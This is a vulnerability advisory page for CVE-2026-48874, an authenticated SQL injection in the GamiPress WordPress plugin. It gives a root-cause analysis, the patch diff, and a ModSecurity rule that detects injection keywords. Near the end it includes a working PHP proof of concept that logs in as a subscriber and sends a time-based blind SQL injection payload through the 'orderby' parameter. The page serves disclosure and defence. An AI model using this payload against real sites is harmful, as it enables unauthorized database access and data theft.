Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 22, 2026

CVE-2026-48874: GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress <= 7.8.7 Authenticated (Subscriber+) SQL Injection PoC, Patch Analysis & Rule

Plugin gamipress
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 7.8.7
Patched Version 7.8.8
Disclosed June 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-48874:
This vulnerability is a SQL Injection in the GamiPress plugin for WordPress, versions up to and including 7.8.7. It affects the ajax list table functionality for logs and user earnings, allowing authenticated attackers with subscriber-level access or higher to inject malicious SQL queries. The vulnerability has a CVSS score of 6.5, indicating a moderate severity due to the potential for sensitive data extraction.

Root Cause:
The root cause lies in insufficient escaping of user-supplied parameters and lack of prepared statements in SQL queries. Specifically, the vulnerable code is in the ajax-functions.php file of the ct-ajax-list-table library (lines 20-50). Prior to the patch, the ajax handler directly processes query arguments from $_GET without proper sanitization or authorization. The function retrieves parameters like ‘orderby’, ‘order’, ‘limit’, ‘paged’, and custom meta query fields, then passes them directly to the CT_Query class without filtering. The vulnerable code path is triggered via the ct_ajax_list_table ajax action, which sets up a CT table (either ‘gamipress_logs’ or ‘gamipress_user_earnings’) and constructs SQL from these user-controlled parameters. In the patched version, new filter hooks are introduced: ‘ct_ajax_list_table_{table}_capability’ to enforce proper capability checks, and ‘ct_ajax_list_table_{table}_query_args’ to sanitize query arguments using gamipress_sanitize_query_args.

Exploitation:
An attacker with subscriber-level privileges can exploit this by sending a POST or GET request to /wp-admin/admin-ajax.php with the action parameter set to ‘ct_ajax_list_table’. The attacker must also provide an ‘object’ parameter (e.g., ‘gamipress_logs’ or ‘gamipress_user_earnings’) and inject malicious SQL in parameters such as ‘orderby’, ‘meta_key’, or through custom meta query clauses. For example, the attacker can set ‘orderby’ to a value like ‘date,(SELECT SLEEP(5) FROM dual)’ to perform time-based blind SQL injection. The exposed parameters that can serve as injection vectors include ‘orderby’, ‘order’, ‘meta_key’, ‘meta_value’, and any custom meta query arrays that are not properly sanitized.

Patch Analysis:
The patch introduces two key changes. First, it adds a capability filter ‘ct_ajax_list_table_{table}_capability’ that defaults to ‘manage_options’ and overrides it with ‘gamipress_get_manager_capability’ for both logs and user earnings tables, effectively restricting access to users with higher privileges. Second, it adds a query arguments filter ‘ct_ajax_list_table_{table}_query_args’ that sanitizes the arguments using gamipress_sanitize_query_args with predefined rules (gamipress_logs_query_vars_rules and gamipress_user_earnings_query_vars_rules). These rules define the expected types and validation for each parameter, blocking any malicious input. The sanitization is applied before the query is executed, preventing SQL injection.

Impact:
Successful exploitation allows an authenticated attacker to extract sensitive information from the WordPress database, including user credentials, email addresses, password hashes, and private site data. The attacker can also manipulate database content, potentially leading to privilege escalation or complete site compromise. The time-based and error-based SQL injection techniques can be used to exfiltrate data from other tables, not just the gamipress-specific tables.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/gamipress/gamipress.php
+++ b/gamipress/gamipress.php
@@ -3,7 +3,7 @@
  * Plugin Name:     	GamiPress
  * Plugin URI:      	https://gamipress.com
  * Description:     	The most flexible and powerful gamification system for WordPress.
- * Version:         	7.8.7
+ * Version:         	7.8.8
  * Author:          	GamiPress
  * Author URI:      	https://gamipress.com/
  * Text Domain:     	gamipress
@@ -121,7 +121,7 @@
 	private function constants() {

 		// Plugin version
-		define( 'GAMIPRESS_VER', '7.8.7' );
+		define( 'GAMIPRESS_VER', '7.8.8' );

 		// Plugin file
 		define( 'GAMIPRESS_FILE', __FILE__ );
--- a/gamipress/includes/custom-tables/logs.php
+++ b/gamipress/includes/custom-tables/logs.php
@@ -414,4 +414,18 @@
 function gamipress_add_logs_meta_boxes() {
     remove_meta_box( 'submitdiv', 'gamipress_logs', 'side' );
 }
-add_action( 'add_meta_boxes', 'gamipress_add_logs_meta_boxes' );
 No newline at end of file
+add_action( 'add_meta_boxes', 'gamipress_add_logs_meta_boxes' );
+
+// CT Ajax List
+// Override ajax list capability
+add_filter( 'ct_ajax_list_table_gamipress_logs_capability', 'gamipress_get_manager_capability' );
+
+// Parse query args
+function ct_ajax_list_table_gamipress_logs_query_args( $query_args ) {
+
+    $query_args = gamipress_sanitize_query_args( $query_args, gamipress_logs_query_vars_rules() );
+
+    return $query_args;
+
+}
+add_filter( 'ct_ajax_list_table_gamipress_logs_query_args', 'ct_ajax_list_table_gamipress_logs_query_args' );
--- a/gamipress/includes/custom-tables/user-earnings.php
+++ b/gamipress/includes/custom-tables/user-earnings.php
@@ -706,4 +706,18 @@
 function gamipress_user_earnings_row_actions( $row_actions, $object ) {
     return array();
 }
-add_filter( 'gamipress_user_earnings_row_actions', 'gamipress_user_earnings_row_actions', 10, 2 );
 No newline at end of file
+add_filter( 'gamipress_user_earnings_row_actions', 'gamipress_user_earnings_row_actions', 10, 2 );
+
+// CT Ajax List
+// Override ajax list capability
+add_filter( 'ct_ajax_list_table_gamipress_user_earnings_capability', 'gamipress_get_manager_capability' );
+
+// Parse query args
+function ct_ajax_list_table_gamipress_user_earnings_query_args( $query_args ) {
+
+    $query_args = gamipress_sanitize_query_args( $query_args, gamipress_user_earnings_query_vars_rules() );
+
+    return $query_args;
+
+}
+add_filter( 'ct_ajax_list_table_gamipress_user_earnings_query_args', 'ct_ajax_list_table_gamipress_user_earnings_query_args' );
 No newline at end of file
--- a/gamipress/includes/shortcodes/gamipress_earnings.php
+++ b/gamipress/includes/shortcodes/gamipress_earnings.php
@@ -514,7 +514,58 @@
     $ct_table = ct_setup_table( 'gamipress_user_earnings' );

     // Sanitize query args
-    $query_args = gamipress_sanitize_query_args( $query_args, array(
+    $query_args = gamipress_sanitize_query_args( $query_args, gamipress_user_earnings_query_vars_rules() );
+
+    return new CT_Query( $query_args );
+
+}
+
+/**
+ * Earnings shortcode defaults attributes values
+ *
+ * @since 7.1.6
+ *
+ * @return array
+ */
+function gamipress_earnings_shortcode_defaults() {
+
+	return apply_filters( 'gamipress_earnings_shortcode_defaults', array(
+		'current_user'                  => 'yes',
+        'user_id'                       => '0',
+        'force_responsive'              => '',
+        'limit'                         => '10',
+        'pagination'                    => 'yes',
+        'order'                         => 'DESC',
+        'include'                       => '',
+        'exclude'                       => '',
+        'points'                        => 'yes',
+        'points_types'                  => 'all',
+        'awards'                        => 'yes',
+        'deducts'                       => 'yes',
+        'achievements'                  => 'yes',
+        'achievement_types'             => 'all',
+        'steps'                         => 'yes',
+        'achievements_without_points'   => 'yes',
+        'ranks'                         => 'yes',
+        'rank_types'                    => 'all',
+        'rank_requirements'             => 'yes',
+	) );
+
+}
+
+/**
+ * User Earnings query vars rules
+ *
+ * @since 7.8.8
+ *
+ * @return array
+ */
+function gamipress_user_earnings_query_vars_rules() {
+
+    // Setup table
+    $ct_table = ct_setup_table( 'gamipress_user_earnings' );
+
+    $rules = apply_filters( 'gamipress_user_earnings_query_vars_rules', array(
         // Query fields
         'orderby' => array(
             'type' => 'string',
@@ -565,39 +616,8 @@
         ),
     ) );

-    return new CT_Query( $query_args );
-
-}
-
-/**
- * Earnings shortcode defaults attributes values
- *
- * @since 7.1.6
- *
- * @return array
- */
-function gamipress_earnings_shortcode_defaults() {
+    ct_reset_setup_table();

-	return apply_filters( 'gamipress_earnings_shortcode_defaults', array(
-		'current_user'                  => 'yes',
-        'user_id'                       => '0',
-        'force_responsive'              => '',
-        'limit'                         => '10',
-        'pagination'                    => 'yes',
-        'order'                         => 'DESC',
-        'include'                       => '',
-        'exclude'                       => '',
-        'points'                        => 'yes',
-        'points_types'                  => 'all',
-        'awards'                        => 'yes',
-        'deducts'                       => 'yes',
-        'achievements'                  => 'yes',
-        'achievement_types'             => 'all',
-        'steps'                         => 'yes',
-        'achievements_without_points'   => 'yes',
-        'ranks'                         => 'yes',
-        'rank_types'                    => 'all',
-        'rank_requirements'             => 'yes',
-	) );
+    return $rules;

 }
 No newline at end of file
--- a/gamipress/includes/shortcodes/gamipress_logs.php
+++ b/gamipress/includes/shortcodes/gamipress_logs.php
@@ -302,7 +302,54 @@
     $ct_table = ct_setup_table( 'gamipress_logs' );

     // Sanitize query args
-    $query_args = gamipress_sanitize_query_args( $query_args, array(
+    $query_args = gamipress_sanitize_query_args( $query_args, gamipress_logs_query_vars_rules() );
+
+    return new CT_Query( $query_args );
+
+}
+
+// CMB2 detects 'default' => 'date' as invalid callback because php has the date() function
+function gamipress_logs_order_by_default_cb() {
+    return 'date';
+}
+
+/**
+ * Logs shortcode defaults attributes values
+ *
+ * @since 7.1.6
+ *
+ * @return array
+ */
+function gamipress_logs_shortcode_defaults() {
+
+	return apply_filters( 'gamipress_logs_shortcode_defaults', array(
+		'type'          => 'all',
+        'current_user'  => 'no',
+        'user_id'       => '0',
+        'access'        => 'any',
+        'limit'         => '10',
+        'pagination'    => 'yes',
+        'orderby'       => 'date',
+        'order'         => 'ASC',
+        'include'       => '',
+        'exclude'       => '',
+	) );
+
+}
+
+/**
+ * Logs query vars rules
+ *
+ * @since 7.8.8
+ *
+ * @return array
+ */
+function gamipress_logs_query_vars_rules() {
+
+    // Setup table
+    $ct_table = ct_setup_table( 'gamipress_logs' );
+
+    $rules = apply_filters( 'gamipress_logs_query_vars_rules', array(
         // Query fields
         'orderby' => array(
             'type' => 'string',
@@ -344,35 +391,8 @@
         ),
     ) );

-    return new CT_Query( $query_args );
-
-}
-
-// CMB2 detects 'default' => 'date' as invalid callback because php has the date() function
-function gamipress_logs_order_by_default_cb() {
-    return 'date';
-}
+    ct_reset_setup_table();

-/**
- * Logs shortcode defaults attributes values
- *
- * @since 7.1.6
- *
- * @return array
- */
-function gamipress_logs_shortcode_defaults() {
-
-	return apply_filters( 'gamipress_logs_shortcode_defaults', array(
-		'type'          => 'all',
-        'current_user'  => 'no',
-        'user_id'       => '0',
-        'access'        => 'any',
-        'limit'         => '10',
-        'pagination'    => 'yes',
-        'orderby'       => 'date',
-        'order'         => 'ASC',
-        'include'       => '',
-        'exclude'       => '',
-	) );
+    return $rules;

 }
 No newline at end of file
--- a/gamipress/libraries/ct-ajax-list-table/ct-ajax-list-table.php
+++ b/gamipress/libraries/ct-ajax-list-table/ct-ajax-list-table.php
@@ -44,7 +44,7 @@
         private function constants() {

             // Plugin version
-            define( 'CT_AJAX_LIST_TABLE_VER', '1.0.1' );
+            define( 'CT_AJAX_LIST_TABLE_VER', '1.0.2' );

             // Plugin file
             define( 'CT_AJAX_LIST_TABLE_FILE', __FILE__ );
--- a/gamipress/libraries/ct-ajax-list-table/includes/ajax-functions.php
+++ b/gamipress/libraries/ct-ajax-list-table/includes/ajax-functions.php
@@ -20,12 +20,26 @@
         wp_send_json_error();
     }

+    // Setup the CT Table
     $ct_table = ct_setup_table( sanitize_text_field( $_GET['object'] ) );

     if( ! is_object( $ct_table ) ) {
         wp_send_json_error();
     }

+    /**
+     * Filter capability to check
+     *
+     * @param string $capability By default, "manage_options"
+     *
+     * @return string
+     */
+    $capability = apply_filters( 'ct_ajax_list_table_' . $ct_table->name . '_capability', 'manage_options' );
+
+    if( ! current_user_can( $capability ) ) {
+        wp_send_json_error();
+    }
+
     // Setup this constant to allow from CT_List_Table meet that this render comes from this plugin
     @define( 'IS_CT_AJAX_LIST_TABLE', true );

@@ -50,6 +64,15 @@
         $query_args['paged'] = absint( $query_args['paged'] );
     }

+    /**
+     * Filter query vars
+     *
+     * @param array $query_args
+     *
+     * @return array
+     */
+    $query_args = apply_filters( 'ct_ajax_list_table_' . $ct_table->name . '_query_args', $query_args );
+
     $ct_ajax_list_items_per_page = $query_args['items_per_page'];
     add_filter( 'edit_' . $ct_table->name . '_per_page', 'ct_ajax_list_override_items_per_page' );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-48874
# Block SQL injection attempts in GamiPress AJAX list table parameters
# This rule targets the vulnerable 'ct_ajax_list_table' action with injection in orderby parameter
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-48874 GamiPress SQL Injection Attempt via orderby',severity:'CRITICAL',tag:'CVE-2026-48874'"
    SecRule ARGS:action "@streq ct_ajax_list_table" "chain"
        SecRule ARGS:object "@rx ^gamipress_(logs|user_earnings)$" "chain"
            SecRule ARGS:orderby "@rx (SELECT|SLEEP(|BENCHMARK(|UNIONs+SELECT|INFORMATION_SCHEMA|ORs+d+=d+|WAITFORs+DELAY" 
                "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-48874 - GamiPress SQL Injection via AJAX List Table

$target_url = 'http://example.com'; // Change this to the target WordPress URL
$username = 'subscriber'; // Attacker's username
$password = 'password'; // Attacker's password

// Step 1: Authenticate to get nonce and cookies
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Craft SQL injection payload
// We inject into the 'orderby' parameter using a time-based blind SQL injection
$sql_payload = "date,(SELECT SLEEP(5) FROM information_schema.tables WHERE table_schema=DATABASE())";

// The attack triggers via admin-ajax.php with action ct_ajax_list_table
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
    'action' => 'ct_ajax_list_table',
    'object' => 'gamipress_logs', // Or 'gamipress_user_earnings'
    'orderby' => $sql_payload,
    'order' => 'DESC',
    'items_per_page' => '10',
    'paged' => '1',
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$duration = curl_getinfo($ch, CURLINFO_TOTAL_TIME);
curl_close($ch);

// Step 3: Check if SQL injection works (if response took >5 seconds, it's likely vulnerable)
if ($duration >= 5 && $http_code == 200) {
    echo "[+] Vulnerability confirmed: SQL injection successful via time-based payload.n";
    echo "[+] Response took $duration seconds (expected ~5 seconds with SLEEP(5)).n";
} else {
    echo "[-] No vulnerability detected or injection failed. Response time: $duration seconds.n";
    if ($http_code != 200) {
        echo "[-] HTTP response code: $http_coden";
    }
}

// Clean up cookie file
@unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School